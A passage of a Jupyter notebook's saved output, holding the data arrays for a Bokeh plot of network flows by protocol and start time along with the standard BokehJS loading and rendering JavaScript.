\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"http\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"http\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"http\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"http\",\"http\",\"http\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"http\",\"http\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"http\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ftp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"http\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"http\",\"http\",\"http\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"http\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"http\",\"http\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"http\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"http\",\"http\",\"http\",\"https\",\"https\",\"ntp\",\"http\",\"http\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"ntp\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"http\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"http\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"http\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"http\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"http\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"http\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"http\",\"http\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"http\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"http\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"http\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"http\",\"http\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"http\",\"http\"],\"index\":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,303,304,305,306,307,308,309,310,311,312,313,314,315,316,317,318,319,320,321,322,323,324,325,326,328,329,330,331,332,333,334,335,336,337,338,339,340,341,342,343,344,345,346,347,348,349,350,351,352,353,354,355,356,357,358,359,360,361,362,363,364,366,367,368,369,370,371,372,373,374,375,376,377,378,379,380,381,382,383,384,385,386,387,388,389,390,391,392,393,394,395,396,397,400,401,402,403,404,405,406,407,408,410,411,412,413,415,416,417,418,419,420,421,422,423,424,425,426,427,428,429,430,431,432,433,434,435,436,437,438,439,440,441,442,443,444,445,446,447,448,449,450,451,452,453,454,455,456,457,458,459,460,461,462,463,464,465,467,468,469,470,471,472,473,474,475,476,477,478,479,480,481,482,483,484,485,486,487,488,489,490,491,492,493,494,495,496,497,498,499,500,501,502,503,504,505,506,507,508,509,510,511,512,513,514,515,516,517,518,519,520,521,522,523,524,525,526,527,528,529,530,531,532,533,534,535,536,537,538,539,540,541,542,543,544,545,546,547,548,549,550,551,552,553,554,555,556,557,558,559,560,561,562,563,564,565,566,567,568,569,570,572,573,574,575,576,577,578,579,580,581,582,583,584,585,586,587,588,589,590,591,592,593,594,595,596,597,598,599,600,601,602,603,604,605,606,607,608,609,610,611,612,613,614,615,616,617,618,619,620,621,622,623,624,625,626,627,628,629,630,631,632,633,634,635,636,637,638,639,640,641,642,643,644,645,646,647,648,649,650,651,652,653,654,655,656,657,658,659,660,661,662,663,664,665,666,667,668,669,670,671,672,673,674,675,676,677,678,679,680,681,682,683,684,685,686,687,688,689,690,691,692,693,694,695,696,697,698,699,700,701,702,703,704,705,706,707,708,709,710,711,712,713,714,715,716,717,718,719,720,721,722,723,724,725,726,727,728,729,730,731,732,733,734,735,736,737,738,739,740,741,742,743,744,745,746,747,748,749,750,751,752,753,754,755,756,757,758,759,760,761,762,763,764,765,766,767,768,769,770,771,772,773,774,775,776,777,778,779,780,781,782,783,784,785,786,787,788,789,790,791,792,793,794,795,796,797,798,799,800,801,802,803,804,805,806,807,808,809,810,811,812,813,814,815,816,817,818,819,820,821,822,823,824,825,826,827,828,829,830,831,832,833,834,835,836,837,838,839,840,841,842,843,844,845,846,847,848,849,850,851,852,853,854,855,856,857,858,859,860,861,862,863,864,865,866,867,868,869,870,871,872,873,874,875,876,877,878,879,880,881,882,883,884,885,886,887,888,889,890,891,892,893,894,895,896,897,898,899,900,901,902,903,904,905,906,907,908,909,910,911,912,913,914,915,916,917,918,919,920,921,922,923,924,925,926,927,928,929,930,931,932,933,934,935,936,937,938,939,940,941,942,943,944,945,946,947,948,949,950,951,952,953,954,955,956,957,958,959,960,961,962,963,964,965,966,967,968,969,970,971,972,973,974,975,976,977,978,979,980,981,982,983,984,985,986,987,988,989,990,991,992,993,994,995,996,997,998,999,1000,1001,1002,1003,1004,1005,1006,1007,1008,1009,1010,1011,1012,1013,1014,1015,1016,1017,1018,1019,1020,1021,1022,1023,1024,1025,1026,1027,1028,1029,1030,1031,1032,1033,1034,1035,1036,1037,1038,1039,1040,1041,1042,1043,1044,1045,1046,1047,1048,1049,1050,1051,1052,1053,1054,1055,1056,1057,1058,1059,1060,1061,1062,1063,1064,1065,1066,1067,1068,1069,1070,1071,1072,1073,1074,1075,1076,1077,1078,1079,1080,1081,1082,1083,1084,1085,1086,1087,1088,1089,1090,1091,1092,1093,1094,1095,1096,1097,1098,1099,1100,1101,1102,1103,1104,1105,1106,1107,1108,1109,1110,1111,1112,1113,1114,1115,1116,1117,1118,1119,1120,1121,1122,1123,1124,1125,1126,1127,1128,1129,1130,1131,1132,1133,1134,1135,1136,1137,1138,1139,1140,1141,1142,1143,1144,1145,1146,1147,1148,1149,1150,1151,1152,1153,1154,1155,1156,1157,1158,1159,1160,1161,1162,1163,1164,1165,1166,1167,1168,1169,1170,1171,1172,1173,1174,1175,1176,1177,1178,1179,1180,1181,1182,1183,1184,1185,1186,1187,1188,1189,1190,1191,1192,1193,1194,1195,1196,1197,1198,1199,1200,1201,1202,1203,1204,1205,1206,1207,1208,1209,1210,1211,1212,1213,1214,1215,1216,1217,1218,1219,1220,1221,1222,1223,1224,1225,1226,1227,1228,1229,1230,1231,1232,1233,1234,1235,1236,1237,1238,1239,1240,1241,1242,1243,1244,1245,1246,1247,1248,1249,1250,1251,1252,1253,1254,1255,1256,1257,1258,1259,1260,1261,1262,1263,1264,1265,1266,1267,1268,1269,1270,1271,1272,1273,1274,1275,1276,1277,1278,1279,1280,1281,1282,1283,1284,1285,1286,1287,1288,1289,1290,1291,1292,1293,1294,1295,1296,1297,1298,1299,1300,1301,1302,1303,1304,1305,1306,1307,1308,1309,1310,1311,1312,1313,1314,1315,1316,1317,1318,1319,1320,1321,1322,1323,1324,1325,1326,1327,1328,1329,1330,1331,1332,1333,1334,1335,1336,1337,1338,1339,1340,1341,1342,1343,1344,1345,1346,1347,1348,1349,1350,1351,1352,1353,1354,1355,1356,1357,1358,1359],\"y_index\":[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1]},\"selected\":{\"id\":\"2921\"},\"selection_policy\":{\"id\":\"2922\"}},\"id\":\"2816\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"end\":1550324298350.0002,\"start\":1549539476649.9998},\"id\":\"2853\",\"type\":\"Range1d\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"#440154\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"#440154\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2887\",\"type\":\"Diamond\"},{\"attributes\":{\"source\":{\"id\":\"2815\"}},\"id\":\"2890\",\"type\":\"CDSView\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#440154\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#440154\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2888\",\"type\":\"Diamond\"}],\"root_ids\":[\"2899\"]},\"title\":\"Bokeh Application\",\"version\":\"2.2.2\"}};\n  var render_items = [{\"docid\":\"807fac8d-f261-45b2-8038-742eb7d80f5a\",\"root_ids\":[\"2899\"],\"roots\":{\"2899\":\"1031a81c-d82f-4aec-a17e-534dd3a72e46\"}}];\n  root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n\n  }\n  if (root.Bokeh !== undefined) {\n    embed_document(root);\n  } else {\n    var attempts = 0;\n    var timer = setInterval(function(root) {\n      if (root.Bokeh !== undefined) {\n        clearInterval(timer);\n        embed_document(root);\n      } else {\n        attempts++;\n        if (attempts > 100) {\n          clearInterval(timer);\n          console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\");\n        }\n      }\n    }, 10, root)\n  }\n})(window);",
      "application/vnd.bokehjs_exec.v0+json": ""
     },
     "metadata": {
      "application/vnd.bokehjs_exec.v0+json": {
       "id": "2899"
      }
     },
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "\n",
       "    <div class=\"bk-root\">\n",
       "        <a href=\"https://bokeh.org\" target=\"_blank\" class=\"bk-logo bk-logo-small bk-logo-notebook\"></a>\n",
       "        <span id=\"3116\">Loading BokehJS ...</span>\n",
       "    </div>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": "\n(function(root) {\n  function now() {\n    return new Date();\n  }\n\n  var force = true;\n\n  if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n    root._bokeh_onload_callbacks = [];\n    root._bokeh_is_loading = undefined;\n  }\n\n  var JS_MIME_TYPE = 'application/javascript';\n  var HTML_MIME_TYPE = 'text/html';\n  var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n  var CLASS_NAME = 'output_bokeh rendered_html';\n\n  /**\n   * Render data to the DOM node\n   */\n  function render(props, node) {\n    var script = document.createElement(\"script\");\n    node.appendChild(script);\n  }\n\n  /**\n   * Handle when an output is cleared or removed\n   */\n  function handleClearOutput(event, handle) {\n    var cell = handle.cell;\n\n    var id = cell.output_area._bokeh_element_id;\n    var server_id = cell.output_area._bokeh_server_id;\n    // Clean up Bokeh references\n    if (id != null && id in Bokeh.index) {\n      Bokeh.index[id].model.document.clear();\n      delete Bokeh.index[id];\n    }\n\n    if (server_id !== undefined) {\n      // Clean up Bokeh references\n      var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n      cell.notebook.kernel.execute(cmd, {\n        iopub: {\n          output: function(msg) {\n            var id = msg.content.text.trim();\n            if (id in Bokeh.index) {\n              Bokeh.index[id].model.document.clear();\n              delete Bokeh.index[id];\n            }\n          }\n        }\n      });\n      // Destroy server and session\n      var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n      cell.notebook.kernel.execute(cmd);\n    }\n  }\n\n  /**\n   * Handle when a new output is added\n   */\n  function handleAddOutput(event, handle) {\n    var output_area = handle.output_area;\n    var output = handle.output;\n\n    // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n    if ((output.output_type != \"display_data\") || (!output.data.hasOwnProperty(EXEC_MIME_TYPE))) {\n      return\n    }\n\n    var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n\n    if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n      toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n      // store reference to embed id on output_area\n      output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n    }\n    if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n      var bk_div = document.createElement(\"div\");\n      bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n      var script_attrs = bk_div.children[0].attributes;\n      for (var i = 0; i < script_attrs.length; i++) {\n        toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n        toinsert[toinsert.length - 1].firstChild.textContent = bk_div.children[0].textContent\n      }\n      // store reference to server id on output_area\n      output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n    }\n  }\n\n  function register_renderer(events, OutputArea) {\n\n    function append_mime(data, metadata, element) {\n      // create a DOM node to render to\n      var toinsert = this.create_output_subarea(\n        metadata,\n        CLASS_NAME,\n        EXEC_MIME_TYPE\n      );\n      this.keyboard_manager.register_events(toinsert);\n      // Render to node\n      var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n      render(props, toinsert[toinsert.length - 1]);\n      element.append(toinsert);\n      return toinsert\n    }\n\n    /* Handle when an output is cleared or removed */\n    events.on('clear_output.CodeCell', handleClearOutput);\n    events.on('delete.Cell', handleClearOutput);\n\n    /* Handle when a new output is added */\n    events.on('output_added.OutputArea', handleAddOutput);\n\n    /**\n     * Register the mime type and append_mime function with output_area\n     */\n    OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n      /* Is output safe? */\n      safe: true,\n      /* Index of renderer in `output_area.display_order` */\n      index: 0\n    });\n  }\n\n  // register the mime type if in Jupyter Notebook environment and previously unregistered\n  if (root.Jupyter !== undefined) {\n    var events = require('base/js/events');\n    var OutputArea = require('notebook/js/outputarea').OutputArea;\n\n    if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n      register_renderer(events, OutputArea);\n    }\n  }\n\n  \n  if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n    root._bokeh_timeout = Date.now() + 5000;\n    root._bokeh_failed_load = false;\n  }\n\n  var NB_LOAD_WARNING = {'data': {'text/html':\n     \"<div style='background-color: #fdd'>\\n\"+\n     \"<p>\\n\"+\n     \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n     \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n     \"</p>\\n\"+\n     \"<ul>\\n\"+\n     \"<li>re-rerun `output_notebook()` to attempt to load from CDN again, or</li>\\n\"+\n     \"<li>use INLINE resources instead, as so:</li>\\n\"+\n     \"</ul>\\n\"+\n     \"<code>\\n\"+\n     \"from bokeh.resources import INLINE\\n\"+\n     \"output_notebook(resources=INLINE)\\n\"+\n     \"</code>\\n\"+\n     \"</div>\"}};\n\n  function display_loaded() {\n    var el = document.getElementById(\"3116\");\n    if (el != null) {\n      el.textContent = \"BokehJS is loading...\";\n    }\n    if (root.Bokeh !== undefined) {\n      if (el != null) {\n        el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n      }\n    } else if (Date.now() < root._bokeh_timeout) {\n      setTimeout(display_loaded, 100)\n    }\n  }\n\n\n  function run_callbacks() {\n    try {\n      root._bokeh_onload_callbacks.forEach(function(callback) {\n        if (callback != null)\n          callback();\n      });\n    } finally {\n      delete root._bokeh_onload_callbacks\n    }\n    console.debug(\"Bokeh: all callbacks have finished\");\n  }\n\n  function load_libs(css_urls, js_urls, callback) {\n    if (css_urls == null) css_urls = [];\n    if (js_urls == null) js_urls = [];\n\n    root._bokeh_onload_callbacks.push(callback);\n    if (root._bokeh_is_loading > 0) {\n      console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n      return null;\n    }\n    if (js_urls == null || js_urls.length === 0) {\n      run_callbacks();\n      return null;\n    }\n    console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n    root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n    function on_load() {\n      root._bokeh_is_loading--;\n      if (root._bokeh_is_loading === 0) {\n        console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n        run_callbacks()\n      }\n    }\n\n    function on_error() {\n      console.error(\"failed to load \" + url);\n    }\n\n    for (var i = 0; i < css_urls.length; i++) {\n      var url = css_urls[i];\n      const element = document.createElement(\"link\");\n      element.onload = on_load;\n      element.onerror = on_error;\n      element.rel = \"stylesheet\";\n      element.type = \"text/css\";\n      element.href = url;\n      console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n      document.body.appendChild(element);\n    }\n\n    const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\": \"JayppSWSRBsibIZqI8S4vAb1oFgLL0uhNvSn8cmArlOvYOwfFjYeyY5UWwJ+K0SU\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\": \"G0/Tv/Yy/zEPNsnW0Qif/FOsGesd+KIrKg/QLmvQmReuUW9qmSP7mAmr0VpiUNr3\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\": \"VLYHEbLQDk5G1+/4ALU0myoJPMEUsngWry2fzYorFOUmarjGRPLLURaeK/on6JqX\"};\n\n    for (var i = 0; i < js_urls.length; i++) {\n      var url = js_urls[i];\n      var element = document.createElement('script');\n      element.onload = on_load;\n      element.onerror = on_error;\n      element.async = false;\n      element.src = url;\n      if (url in hashes) {\n        element.crossOrigin = \"anonymous\";\n        element.integrity = \"sha384-\" + hashes[url];\n      }\n      console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n      document.head.appendChild(element);\n    }\n  };\n\n  function inject_raw_css(css) {\n    const element = document.createElement(\"style\");\n    